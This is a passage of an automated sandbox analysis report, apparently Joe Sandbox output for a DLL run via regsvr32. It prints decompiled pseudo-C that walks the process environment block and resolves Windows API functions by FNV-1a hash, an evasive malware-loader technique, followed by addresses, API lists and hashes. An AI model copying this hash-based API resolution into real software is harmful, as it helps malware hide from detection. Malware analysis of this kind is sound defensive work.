								_v1136 =  *((intOrPtr*)(_t1498 + 0x78));
								_v1132 =  *((intOrPtr*)(_t1498 + 0x7c));
								_v204 = _v116 + _v1136;
								_v200 = _v1132;
								if(_v204 == _v208) {
									_v392 = 0;
								} else {
									_v392 = 1;
								}
								_v30 = _v392;
								if((_v30 & 0x000000ff) != 0) {
									_v76 =  *((intOrPtr*)(_v204 + 0x18));
									while(1) {
										_v692 = _v76;
										_v76 = _v76 - 1;
										if(_v692 == 0) {
											goto L70;
										}
										_v696 = _v208 +  *((intOrPtr*)(_v208 +  *((intOrPtr*)(_v204 + 0x20)) + _v76 * 4));
										_v264 = _v696;
										_v268 = 0x811c9dc5;
										while(1) {
											_v31 =  *_v264;
											_v264 = _v264 + 1;
											_v8 = _v31;
											if(_v8 == 0) {
												break;
											}
											_v268 = (_v8 ^ _v268) * 0x1000193;
										}
										_v700 = _v268;
										if(_v700 != 0xe463da3c) {
											continue;
										} else {
											_v708 = _v208 +  *((intOrPtr*)(_v204 + 0x1c));
											_v704 = _v208 +  *((intOrPtr*)(_v204 + 0x24));
											_v712 = _v208 +  *((intOrPtr*)(_v708 + ( *(_v704 + _v76 * 2) & 0x0000ffff) * 4));
											_v276 = _v712;
										}
										goto L72;
									}
								}
								goto L70;
								L72:
								_v728 =  &_v724;
								_v732 =  *_v728;
								_v736 = _v276(_v732);
								if(_v736 == 0) {
									_v33 = 0;
									_v744 = E6DA91FF0(L"KERNEL32.dll", 0);
									_v396 = E6DA92D00( &_v33);
									E6DA9F6B0(_v396);
									_v740 = _v396;
									_v744(_v740);
								}
								_v34 = 0;
								_v400 = E6DA92AA0( &_v34);
								E6DA9F630(_v400);
								_v796 = _v400;
								_v292 = _v1232;
								_v748 =  *[fs:0x30];
								_v752 =  *((intOrPtr*)(_v748 + 0xc));
								_v756 =  *((intOrPtr*)(_v752 + 0xc));
								_v288 = _v756;
								do {
									_v120 =  *((intOrPtr*)(_v288 + 0x18));
									_v220 = _v120;
									_v760 = _v120 +  *((intOrPtr*)(_v120 + 0x3c));
									_t1513 = _v760;
									_v1144 =  *((intOrPtr*)(_t1513 + 0x78));
									_v1140 =  *((intOrPtr*)(_t1513 + 0x7c));
									_v216 = _v120 + _v1144;
									_v212 = _v1140;
									if(_v216 == _v220) {
										_v404 = 0;
									} else {
										_v404 = 1;
									}
									_v35 = _v404;
									if((_v35 & 0x000000ff) != 0) {
										_v80 =  *((intOrPtr*)(_v216 + 0x18));
										while(1) {
											_v764 = _v80;
											_v80 = _v80 - 1;
											if(_v764 == 0) {
												goto L88;
											}
											_v768 = _v220 +  *((intOrPtr*)(_v220 +  *((intOrPtr*)(_v216 + 0x20)) + _v80 * 4));
											_v280 = _v768;
											_v284 = 0x811c9dc5;
											while(1) {
												_v36 =  *_v280;
												_v280 = _v280 + 1;
												_v9 = _v36;
												if(_v9 == 0) {
													break;
												}
												_v284 = (_v9 ^ _v284) * 0x1000193;
											}
											_v772 = _v284;
											if(_v772 != 0xe463da3c) {
												continue;
											} else {
												_v780 = _v220 +  *((intOrPtr*)(_v216 + 0x1c));
												_v776 = _v220 +  *((intOrPtr*)(_v216 + 0x24));
												_v784 = _v220 +  *((intOrPtr*)(_v780 + ( *(_v776 + _v80 * 2) & 0x0000ffff) * 4));
												_v292 = _v784;
											}
											goto L90;
										}
									}
									goto L88;
									L90:
									_v800 =  &_v796;
									_v804 =  *_v800;
									_v808 = _v292(_v804);
									if(_v808 == 0) {
										_v38 = 0;
										_v816 = E6DA91FF0(L"KERNEL32.dll", 0);
										_v408 = E6DA93470( &_v38);
										E6DA9F6F0(_v408);
										_v812 = _v408;
										_v816(_v812);
									}
									_v39 = 0;
									_v412 = E6DA93D40( &_v39);
									E6DA9F4F0(_v412);
									_v868 = _v412;
									_v308 = _v1236;
									_v820 =  *[fs:0x30];
									_v824 =  *((intOrPtr*)(_v820 + 0xc));
									_v828 =  *((intOrPtr*)(_v824 + 0xc));
									_v304 = _v828;
									do {
										_v124 =  *((intOrPtr*)(_v304 + 0x18));
										_v232 = _v124;
										_v832 = _v124 +  *((intOrPtr*)(_v124 + 0x3c));
										_t1528 = _v832;
										_v1152 =  *((intOrPtr*)(_t1528 + 0x78));
										_v1148 =  *((intOrPtr*)(_t1528 + 0x7c));
										_v228 = _v124 + _v1152;
										_v224 = _v1148;
										if(_v228 == _v232) {
											_v416 = 0;
										} else {
											_v416 = 1;
										}
										_v40 = _v416;
										if((_v40 & 0x000000ff) != 0) {
											_v84 =  *((intOrPtr*)(_v228 + 0x18));
											while(1) {
												_v836 = _v84;
												_v84 = _v84 - 1;
												if(_v836 == 0) {
													goto L106;
												}
												_v840 = _v232 +  *((intOrPtr*)(_v232 +  *((intOrPtr*)(_v228 + 0x20)) + _v84 * 4));
												_v296 = _v840;
												_v300 = 0x811c9dc5;
												while(1) {
													_v41 =  *_v296;
													_v296 = _v296 + 1;
													_v10 = _v41;
													if(_v10 == 0) {
														break;
													}
													_v300 = (_v10 ^ _v300) * 0x1000193;
												}
												_v844 = _v300;
												if(_v844 != 0xe463da3c) {
													continue;
												} else {
													_v852 = _v232 +  *((intOrPtr*)(_v228 + 0x1c));
													_v848 = _v232 +  *((intOrPtr*)(_v228 + 0x24));
													_v856 = _v232 +  *((intOrPtr*)(_v852 + ( *(_v848 + _v84 * 2) & 0x0000ffff) * 4));
													_v308 = _v856;
												}
												goto L108;
											}
										}
										goto L106;
										L108:
										_v872 =  &_v868;
										_v876 =  *_v872;
										_v880 = _v308(_v876);
										if(_v880 == 0) {
											_v43 = 0;
											_v888 = E6DA91FF0(L"Kernel32.dll", 0);
											_v492 = E6DA92FD0( &_v43);
											E6DA9F5B0(_v492);
											_v884 = _v492;
											_v888(_v884);
										}
										_v44 = 0;
										_v424 = E6DA929B0( &_v44);
										E6DA9F7F0(_v424);
										_v940 = _v424;
										_v324 = _v1240;
										_v1052 =  *[fs:0x30];
										_v896 =  *((intOrPtr*)(_v1052 + 0xc));
										_v900 =  *((intOrPtr*)(_v896 + 0xc));
										_v320 = _v900;
										do {
											_v128 =  *((intOrPtr*)(_v320 + 0x18));
											_v244 = _v128;
											_v904 = _v128 +  *((intOrPtr*)(_v128 + 0x3c));
											_t1543 = _v904;
											_v1160 =  *((intOrPtr*)(_t1543 + 0x78));
											_v1156 =  *((intOrPtr*)(_t1543 + 0x7c));
											_v240 = _v128 + _v1160;
											_v236 = _v1156;
											if(_v240 == _v244) {
												_v460 = 0;
											} else {
												_v460 = 1;
											}
											_v45 = _v460;
											if((_v45 & 0x000000ff) != 0) {
												_v88 =  *((intOrPtr*)(_v240 + 0x18));
												while(1) {
													_v908 = _v88;
													_v88 = _v88 - 1;
													if(_v908 == 0) {
														goto L124;
													}
													_v912 = _v244 +  *((intOrPtr*)(_v244 +  *((intOrPtr*)(_v240 + 0x20)) + _v88 * 4));
													_v312 = _v912;
													_v316 = 0x811c9dc5;
													while(1) {
														_v46 =  *_v312;
														_v312 = _v312 + 1;
														_v11 = _v46;
														if(_v11 == 0) {
															break;
														}
														_v316 = (_v11 ^ _v316) * 0x1000193;
													}
													_v916 = _v316;
													if(_v916 != 0xe463da3c) {
														continue;
													} else {
														_v924 = _v244 +  *((intOrPtr*)(_v240 + 0x1c));
														_v920 = _v244 +  *((intOrPtr*)(_v240 + 0x24));
														_v928 = _v244 +  *((intOrPtr*)(_v924 + ( *(_v920 + _v88 * 2) & 0x0000ffff) * 4));
														_v324 = _v928;
													}
													goto L126;
												}
											}
											goto L124;
											L126:
											_v944 =  &_v940;
											_v948 =  *_v944;
											_v952 = _v324(_v948);
											if(_v952 == 0) {
												_v48 = 0;
												_v960 = E6DA91FF0(L"Kernel32.dll", 0);
												_v432 = E6DA930B0( &_v48);
												E6DA9F770(_v432);
												_v956 = _v432;
												LoadLibraryA(_v956);
											}
											_v49 = 0;
											_v436 = E6DA951B0( &_v49);
											E6DA9F470(_v436);
											_v1012 = _v436;
											_v340 = _v1244;
											_v964 =  *[fs:0x30];
											_v968 =  *((intOrPtr*)(_v964 + 0xc));
											_v972 =  *((intOrPtr*)(_v968 + 0xc));
											_v336 = _v972;
											do {
												_v132 =  *((intOrPtr*)(_v336 + 0x18));
												_v148 = _v132;
												_v976 = _v132 +  *((intOrPtr*)(_v132 + 0x3c));
												_t1558 = _v976;
												_v1168 =  *((intOrPtr*)(_t1558 + 0x78));
												_v1164 =  *((intOrPtr*)(_t1558 + 0x7c));
												_v144 = _v132 + _v1168;
												_v140 = _v1164;
												if(_v144 == _v148) {
													_v440 = 0;
												} else {
													_v440 = 1;
												}
												_v50 = _v440;
												if((_v50 & 0x000000ff) != 0) {
													_v92 =  *((intOrPtr*)(_v144 + 0x18));
													while(1) {
														_v980 = _v92;
														_v92 = _v92 - 1;
														if(_v980 == 0) {
															goto L142;
														}
														_v984 = _v148 +  *((intOrPtr*)(_v148 +  *((intOrPtr*)(_v144 + 0x20)) + _v92 * 4));
														_v328 = _v984;
														_v332 = 0x811c9dc5;
														while(1) {
															_v51 =  *_v328;
															_v328 = _v328 + 1;
															_v12 = _v51;
															if(_v12 == 0) {
																break;
															}
															_v332 = (_v12 ^ _v332) * 0x1000193;
														}
														_v988 = _v332;
														if(_v988 != 0xe463da3c) {
															continue;
														} else {
															_v996 = _v148 +  *((intOrPtr*)(_v144 + 0x1c));
															_v992 = _v148 +  *((intOrPtr*)(_v144 + 0x24));
															_v1000 = _v148 +  *((intOrPtr*)(_v996 + ( *(_v992 + _v92 * 2) & 0x0000ffff) * 4));
															_v340 = _v1000;
														}
														goto L144;
													}
												}
												goto L142;
												L144:
												_v1016 =  &_v1012;
												_v1020 =  *_v1016;
												_v1024 = _v340(_v1020);
												if(_v1024 == 0) {
													_v53 = 0;
													_v1032 = E6DA91FF0(L"Kernel32.dll", 0);
													_v444 = E6DA92B90( &_v53);
													E6DA9F4B0(_v444);
													_v1028 = _v444;
													LoadLibraryA(_v1028);
												}
												_v54 = 0;
												_v448 = E6DA93C50( &_v54);
												E6DA9F8B0(_v448);
												_v1084 = _v448;
												_v352 = _v1248;
												_v1036 =  *[fs:0x30];
												_v1040 =  *((intOrPtr*)(_v1036 + 0xc));
												_v1044 =  *((intOrPtr*)(_v1040 + 0xc));
												_v356 = _v1044;
												do {
													_v136 =  *((intOrPtr*)(_v356 + 0x18));
													_v160 = _v136;
													_v1048 = _v136 +  *((intOrPtr*)(_v136 + 0x3c));
													_t1573 = _v1048;
													_v1176 =  *((intOrPtr*)(_t1573 + 0x78));
													_v1172 =  *((intOrPtr*)(_t1573 + 0x7c));
													_v156 = _v136 + _v1176;
													_v152 = _v1172;
													if(_v156 == _v160) {
														_v452 = 0;
													} else {
														_v452 = 1;
													}
													_v55 = _v452;
													if((_v55 & 0x000000ff) != 0) {
														_v96 =  *((intOrPtr*)(_v156 + 0x18));
														while(1) {
															_v1212 = _v96;
															_v96 = _v96 - 1;
															if(_v1212 == 0) {
																goto L160;
															}
															_v1056 = _v160 +  *((intOrPtr*)(_v160 +  *((intOrPtr*)(_v156 + 0x20)) + _v96 * 4));
															_v344 = _v1056;
															_v348 = 0x811c9dc5;
															while(1) {
																_v56 =  *_v344;
																_v344 = _v344 + 1;
																_v13 = _v56;
																if(_v13 == 0) {
																	break;
																}
																_v348 = (_v13 ^ _v348) * 0x1000193;
															}
															_v1060 = _v348;
															if(_v1060 != 0xe463da3c) {
																continue;
															} else {
																_v1068 = _v160 +  *((intOrPtr*)(_v156 + 0x1c));
																_v1064 = _v160 +  *((intOrPtr*)(_v156 + 0x24));
																_v1072 = _v160 +  *((intOrPtr*)(_v1068 + ( *(_v1064 + _v96 * 2) & 0x0000ffff) * 4));
																_v352 = _v1072;
															}
															goto L162;
														}
													}
													goto L160;
													L162:
													_v1088 =  &_v1084;
													_v1092 =  *_v1088;
													_v1096 = _v352(_v1092);
													if(_v1096 == 0) {
														_v58 = 0;
														_v1104 = E6DA91FF0(L"Kernel32.dll", 0);
														_v456 = E6DA92100( &_v58);
														E6DA9F830(_v456);
														_v1100 = _v456;
														_v1104(_v1100);
													}
													return 1;
													L160:
													_v1076 = _v356;
													_v1080 =  *_v1076;
													_v356 = _v1080;
													_v57 = 1;
												} while ((_v57 & 0x000000ff) != 0);
												_v352 = 0;
												goto L162;
												L142:
												_v1004 = _v336;
												_v1008 =  *_v1004;
												_v336 = _v1008;
												_v52 = 1;
											} while ((_v52 & 0x000000ff) != 0);
											_v340 = 0;
											goto L144;
											L124:
											_v932 = _v320;
											_v936 =  *_v932;
											_v320 = _v936;
											_v47 = 1;
										} while ((_v47 & 0x000000ff) != 0);
										_v324 = 0;
										goto L126;
										L106:
										_v860 = _v304;
										_v864 =  *_v860;
										_v304 = _v864;
										_v42 = 1;
									} while ((_v42 & 0x000000ff) != 0);
									_v308 = 0;
									goto L108;
									L88:
									_v788 = _v288;
									_v792 =  *_v788;
									_v288 = _v792;
									_v37 = 1;
								} while ((_v37 & 0x000000ff) != 0);
								_v292 = 0;
								goto L90;
								L70:
								_v716 = _v272;
								_v720 =  *_v716;
								_v272 = _v720;
								_v32 = 1;
							} while ((_v32 & 0x000000ff) != 0);
							_v276 = 0;
							goto L72;
							L52:
							_v644 = _v256;
							_v648 =  *_v644;
							_v256 = _v648;
							_v27 = 1;
						} while ((_v27 & 0x000000ff) != 0);
						_v260 = 0;
						goto L54;
						L34:
						_v572 = _v384;
						_v576 =  *_v572;
						_v384 = _v576;
						_v22 = 1;
					} while ((_v22 & 0x000000ff) != 0);
					_v388 = 0;
					goto L36;
					L16:
					_v500 = _v368;
					_v504 =  *_v500;
					_v368 = _v504;
					_v17 = 1;
				} while ((_v17 & 0x000000ff) != 0);
				_v372 = 0;
				goto L18;
			}

0x6da968eb
0x6da968f6
0x6da96902
0x6da96916
0x6da9691e
0x6da9691e
0x6da96925
0x6da96931
0x6da9693e
0x6da9694d
0x6da9695c
0x6da96968
0x6da9696e
0x6da96977
0x6da9697d
0x6da9698c
0x6da9699a
0x6da969a8
0x6da969ae
0x6da969bd
0x6da969c9
0x6da969db
0x6da969e9
0x6da969dd
0x6da969dd
0x6da969dd
0x6da969f9
0x6da96a02
0x6da96a11
0x6da96a14
0x6da96a17
0x6da96a23
0x6da96a2d
0x00000000
0x00000000
0x6da96a4e
0x6da96a5a
0x6da96a60
0x6da96a6a
0x6da96a72
0x6da96a7e
0x6da96a87
0x6da96a90
0x00000000
0x00000000
0x6da96ab1
0x6da96ab1
0x6da96a98
0x6da96ac3
0x00000000
0x6da96ac5
0x6da96ad4
0x6da96ae9
0x6da96b0b
0x6da96b17
0x6da96b17
0x00000000
0x6da96ac3
0x6da96a14
0x00000000
0x6da96b64
0x6da96b6a
0x6da96b78
0x6da96b8b
0x6da96b98
0x6da96b9c
0x6da96bab
0x6da96bb9
0x6da96bc5
0x6da96bd0
0x6da96bdd
0x6da96bdd
0x6da96be5
0x6da96bf0
0x6da96bfc
0x6da96c07
0x6da96c13
0x6da96c1f
0x6da96c2e
0x6da96c3d
0x6da96c49
0x6da96c4f
0x6da96c58
0x6da96c5e
0x6da96c6d
0x6da96c7b
0x6da96c89
0x6da96c8f
0x6da96c9e
0x6da96caa
0x6da96cbc
0x6da96cca
0x6da96cbe
0x6da96cbe
0x6da96cbe
0x6da96cda
0x6da96ce3
0x6da96cf2
0x6da96cf5
0x6da96cf8
0x6da96d04
0x6da96d0e
0x00000000
0x00000000
0x6da96d2f
0x6da96d3b
0x6da96d41
0x6da96d4b
0x6da96d53
0x6da96d5f
0x6da96d68
0x6da96d71
0x00000000
0x00000000
0x6da96d92
0x6da96d92
0x6da96d79
0x6da96da4
0x00000000
0x6da96da6
0x6da96db5
0x6da96dca
0x6da96dec
0x6da96df8
0x6da96df8
0x00000000
0x6da96da4
0x6da96cf5
0x00000000
0x6da96e45
0x6da96e4b
0x6da96e59
0x6da96e6c
0x6da96e79
0x6da96e7d
0x6da96e8c
0x6da96e9a
0x6da96ea6
0x6da96eb1
0x6da96ebe
0x6da96ebe
0x6da96ec6
0x6da96ed1
0x6da96edd
0x6da96ee8
0x6da96ef4
0x6da96f00
0x6da96f0f
0x6da96f1e
0x6da96f2a
0x6da96f30
0x6da96f39
0x6da96f3f
0x6da96f4e
0x6da96f5c
0x6da96f6a
0x6da96f70
0x6da96f7f
0x6da96f8b
0x6da96f9d
0x6da96fab
0x6da96f9f
0x6da96f9f
0x6da96f9f
0x6da96fbb
0x6da96fc4
0x6da96fd3
0x6da96fd6
0x6da96fd9
0x6da96fe5
0x6da96fef
0x00000000
0x00000000
0x6da97010
0x6da9701c
0x6da97022
0x6da9702c
0x6da97034
0x6da97040
0x6da97049
0x6da97052
0x00000000
0x00000000
0x6da97073
0x6da97073
0x6da9705a
0x6da97085
0x00000000
0x6da97087
0x6da97096
0x6da970ab
0x6da970cd
0x6da970d9
0x6da970d9
0x00000000
0x6da97085
0x6da96fd6
0x00000000
0x6da97126
0x6da9712c
0x6da9713a
0x6da9714d
0x6da9715a
0x6da9715e
0x6da97168
0x6da9716d
0x6da9717b
0x6da97187
0x6da97192
0x6da9719f
0x6da9719f
0x6da971a7
0x6da971b2
0x6da971be
0x6da971c9
0x6da971d5
0x6da971e1
0x6da971f0
0x6da971ff
0x6da9720b
0x6da97211
0x6da9721a
0x6da97220
0x6da9722f
0x6da9723d
0x6da9724b
0x6da97251
0x6da97260
0x6da9726c
0x6da9727e
0x6da9728c
0x6da97280
0x6da97280
0x6da97280
0x6da9729c
0x6da972a5
0x6da972b4
0x6da972b7
0x6da972ba
0x6da972c6
0x6da972d0
0x00000000
0x00000000
0x6da972f1
0x6da972fd
0x6da97303
0x6da9730d
0x6da97315
0x6da97321
0x6da9732a
0x6da97333
0x00000000
0x00000000
0x6da97354
0x6da97354
0x6da9733b
0x6da97366
0x00000000
0x6da97368
0x6da97377
0x6da9738c
0x6da973ae
0x6da973ba
0x6da973ba
0x00000000
0x6da97366
0x6da972b7
0x00000000
0x6da97407
0x6da9740d
0x6da9741b
0x6da9742e
0x6da9743b
0x6da9743f
0x6da9744e
0x6da9745c
0x6da97468
0x6da97473
0x6da97480
0x6da97480
0x6da97488
0x6da97493
0x6da9749f
0x6da974aa
0x6da974b6
0x6da974c2
0x6da974d1
0x6da974e0
0x6da974ec
0x6da974f2
0x6da974fb
0x6da97501
0x6da97510
0x6da9751e
0x6da9752c
0x6da97532
0x6da97541
0x6da9754d
0x6da9755f
0x6da9756d
0x6da97561
0x6da97561
0x6da97561
0x6da9757d
0x6da97586
0x6da97595
0x6da97598
0x6da9759b
0x6da975a7
0x6da975b1
0x00000000
0x00000000
0x6da975d2
0x6da975de
0x6da975e4
0x6da975ee
0x6da975f6
0x6da97602
0x6da9760b
0x6da97614
0x00000000
0x00000000
0x6da97635
0x6da97635
0x6da9761c
0x6da97647
0x00000000
0x6da97649
0x6da97658
0x6da9766d
0x6da9768f
0x6da9769b
0x6da9769b
0x00000000
0x6da97647
0x6da97598
0x00000000
0x6da976e8
0x6da976ee
0x6da976fc
0x6da9770f
0x6da9771c
0x6da97720
0x6da9772f
0x6da9773d
0x6da97749
0x6da97754
0x6da97761
0x6da97761
0x6da97769
0x6da97774
0x6da97780
0x6da9778b
0x6da97797
0x6da977a3
0x6da977b2
0x6da977c1
0x6da977cd
0x6da977d3
0x6da977dc
0x6da977e2
0x6da977f1
0x6da977ff
0x6da9780d
0x6da97813
0x6da97822
0x6da9782e
0x6da97840
0x6da9784e
0x6da97842
0x6da97842
0x6da97842
0x6da9785e
0x6da97867
0x6da97876
0x6da97879
0x6da9787c
0x6da97888
0x6da97892
0x00000000
0x00000000
0x6da978b3
0x6da978bf
0x6da978c5
0x6da978cf
0x6da978d7
0x6da978e3
0x6da978ec
0x6da978f5
0x00000000
0x00000000
0x6da97916
0x6da97916
0x6da978fd
0x6da97928
0x00000000
0x6da9792a
0x6da97939
0x6da9794e
0x6da97970
0x6da9797c
0x6da9797c
0x00000000
0x6da97928
0x6da97879
0x00000000
0x6da979c9
0x6da979cf
0x6da979dd
0x6da979f0
0x6da979fd
0x6da97a01
0x6da97a10
0x6da97a1e
0x6da97a2a
0x6da97a35
0x6da97a42
0x6da97a42
0x6da97a4a
0x6da97a55
0x6da97a61
0x6da97a6c
0x6da97a78
0x6da97a84
0x6da97a93
0x6da97aa2
0x6da97aae
0x6da97ab4
0x6da97abd
0x6da97ac3
0x6da97ad2
0x6da97ae0
0x6da97aee
0x6da97af4
0x6da97b03
0x6da97b0f
0x6da97b21
0x6da97b2f
0x6da97b23
0x6da97b23
0x6da97b23
0x6da97b3f
0x6da97b48
0x6da97b57
0x6da97b5a
0x6da97b5d
0x6da97b69
0x6da97b73
0x00000000
0x00000000
0x6da97b94
0x6da97ba0
0x6da97ba6
0x6da97bb0
0x6da97bb8
0x6da97bc4
0x6da97bcd
0x6da97bd6
0x00000000
0x00000000
0x6da97bf7
0x6da97bf7
0x6da97bde
0x6da97c09
0x00000000
0x6da97c0b
0x6da97c1a
0x6da97c2f
0x6da97c51
0x6da97c5d
0x6da97c5d
0x00000000
0x6da97c09
0x6da97b5a
0x00000000
0x6da97caa
0x6da97cb0
0x6da97cbe
0x6da97cd1
0x6da97cde
0x6da97ce2
0x6da97cf1
0x6da97cff
0x6da97d0b
0x6da97d16
0x6da97d23
0x6da97d23
0x6da97d2b
0x6da97d36
0x6da97d42
0x6da97d4d
0x6da97d59
0x6da97d65
0x6da97d74
0x6da97d83
0x6da97d8f
0x6da97d95
0x6da97d9e
0x6da97da4
0x6da97db3
0x6da97dc1
0x6da97dcf
0x6da97dd5
0x6da97de4
0x6da97df0
0x6da97e02
0x6da97e10
0x6da97e04
0x6da97e04
0x6da97e04
0x6da97e20
0x6da97e29
0x6da97e38
0x6da97e3b
0x6da97e3e
0x6da97e4a
0x6da97e54
0x00000000
0x00000000
0x6da97e75
0x6da97e81
0x6da97e87
0x6da97e91
0x6da97e99
0x6da97ea5
0x6da97eae
0x6da97eb7
0x00000000
0x00000000
0x6da97ed8
0x6da97ed8
0x6da97ebf
0x6da97eea
0x00000000
0x6da97eec
0x6da97efb
0x6da97f10
0x6da97f32
0x6da97f3e
0x6da97f3e
0x00000000
0x6da97eea
0x6da97e3b
0x00000000
0x6da97f8b
0x6da97f91
0x6da97f9f
0x6da97fb2
0x6da97fbf
0x6da97fc3
0x6da97fd2
0x6da97fe0
0x6da97fec
0x6da97ff7
0x6da98004
0x6da98004
0x6da9800c
0x6da98017
0x6da98023
0x6da9802e
0x6da9803a
0x6da98046
0x6da98055
0x6da98064
0x6da98070
0x6da98076
0x6da9807f
0x6da9808b
0x6da980a0
0x6da980ae
0x6da980bc
0x6da980c2
0x6da980d4
0x6da980e0
0x6da980f2
0x6da98100
0x6da980f4
0x6da980f4
0x6da980f4
0x6da98110
0x6da98119
0x6da98128
0x6da9812b
0x6da9812e
0x6da9813a
0x6da98144
0x00000000
0x00000000
0x6da98165
0x6da98171
0x6da98177
0x6da98181
0x6da98189
0x6da98195
0x6da9819e
0x6da981a7
0x00000000
0x00000000
0x6da981c8
0x6da981c8
0x6da981af
0x6da981da
0x00000000
0x6da981dc
0x6da981eb
0x6da98200
0x6da98222
0x6da9822e
0x6da9822e
0x00000000
0x6da981da
0x6da9812b
0x00000000
0x6da9827b
0x6da98281
0x6da9828f
0x6da982a2
0x6da982af
0x6da982b3
0x6da982c2
0x6da982d0
0x6da982dc
0x6da982e7
0x6da982f4
0x6da982f4
0x6da982ff
0x6da9823b
0x6da98241
0x6da9824f
0x6da9825b
0x6da98261
0x6da98269
0x6da98271
0x00000000
0x6da97f4b
0x6da97f51
0x6da97f5f
0x6da97f6b
0x6da97f71
0x6da97f79
0x6da97f81
0x00000000
0x6da97c6a
0x6da97c70
0x6da97c7e
0x6da97c8a
0x6da97c90
0x6da97c98
0x6da97ca0
0x00000000
0x6da97989
0x6da9798f
0x6da9799d
0x6da979a9
0x6da979af
0x6da979b7
0x6da979bf
0x00000000
0x6da976a8
0x6da976ae
0x6da976bc
0x6da976c8
0x6da976ce
0x6da976d6
0x6da976de
0x00000000
0x6da973c7
0x6da973cd
0x6da973db
0x6da973e7
0x6da973ed
0x6da973f5
0x6da973fd
0x00000000
0x6da970e6
0x6da970ec
0x6da970fa
0x6da97106
0x6da9710c
0x6da97114
0x6da9711c
0x00000000
0x6da96e05
0x6da96e0b
0x6da96e19
0x6da96e25
0x6da96e2b
0x6da96e33
0x6da96e3b
0x00000000
0x6da96b24
0x6da96b2a
0x6da96b38
0x6da96b44
0x6da96b4a
0x6da96b52
0x6da96b5a
0x00000000

APIs

Part of subcall function 6DA9F3D0: __aullrem.LIBCMT ref: 6DA9F412

LoadLibraryA.KERNEL32(?,KERNEL32.dll,00000000), ref: 6DA9719F
LoadLibraryA.KERNEL32(?,Kernel32.dll,00000000), ref: 6DA97D23
LoadLibraryA.KERNEL32(?,Kernel32.dll,00000000), ref: 6DA98004

Strings

KERNEL32.dll, xrefs: 6DA96BA1, 6DA96E82, 6DA97163, 6DA97444, 6DA97725
Kernel32.dll, xrefs: 6DA97A06, 6DA97CE7, 6DA97FC8, 6DA982B8

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: LibraryLoad$__aullrem
String ID: KERNEL32.dll$Kernel32.dll
API String ID: 200764236-1263921953
Opcode ID: c7cf74924739be37ff5654203b3c539d6be99c28e1d869ffbb7847a730247ec1
Instruction ID: 7655510b1e75add0a86037acede690791a93d50bbaaebed991ea6dd0c51a68e5
Opcode Fuzzy Hash: c7cf74924739be37ff5654203b3c539d6be99c28e1d869ffbb7847a730247ec1
Instruction Fuzzy Hash: F003AE74E192698FCB65CF18C890BEDBBB1BF89304F1481DAD949AB351D730AA81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9E160 Relevance: 2.2, APIs: 1, Instructions: 661
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathIsDirectoryW.SHLWAPI(?), ref: 6DA9ECAA

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID: DirectoryPath
String ID:
API String ID: 1580926078-0
Opcode ID: 475eb9272c39bef41ff64967759797a4fb97c9ee95941c26b9afea30f9c68fca
Instruction ID: 62b6dd7ed6050458ca51a4d215c9724e17aeb832c4819a7d6686623f00d1e32e
Opcode Fuzzy Hash: 475eb9272c39bef41ff64967759797a4fb97c9ee95941c26b9afea30f9c68fca
Instruction Fuzzy Hash: C2828D78E052698FCB68CF59C890BDDBBB1BF89304F1481DAD859AB355D730AA81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA96570 Relevance: 1.7, APIs: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpIW.SHLWAPI(?,?), ref: 6DA96788

Memory Dump Source

Source File: 00000017.00000002.524058416.000000006DA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6DA90000, based on PE: true

Associated: 00000017.00000002.524051789.000000006DA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524109738.000000006DAEC000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524133324.000000006DAF4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000017.00000002.524146010.000000006DAF6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6da90000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef3526227ab36b6dce1454981f542085c590098b5e4604b0b641e6a2bc07cf51
Instruction ID: c39590075b1e8bf043ccef1aa071b1b84f3be1817849af8c768d1005fe899d2c
Opcode Fuzzy Hash: ef3526227ab36b6dce1454981f542085c590098b5e4604b0b641e6a2bc07cf51
Instruction Fuzzy Hash: 5C919378E14259DFCB18CFA9C590AADFBF1BF88304F248199D815AB355D734A981CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6DADA8C3 Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E6DADA8C3(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t34;
				signed int _t40;
				signed int _t41;
				signed int _t42;
				signed int _t45;
				signed char _t54;
				signed int _t56;
				signed int _t58;
				void* _t61;
				void* _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t82;

				_t68 = __edx;
				_push(0x10);
				_push(0x6daf2410);
				E6DADADD0(__ebx, __edi, __esi);
				_t34 =  *0x6daf4fdc; // 0x1
				if(_t34 > 0) {
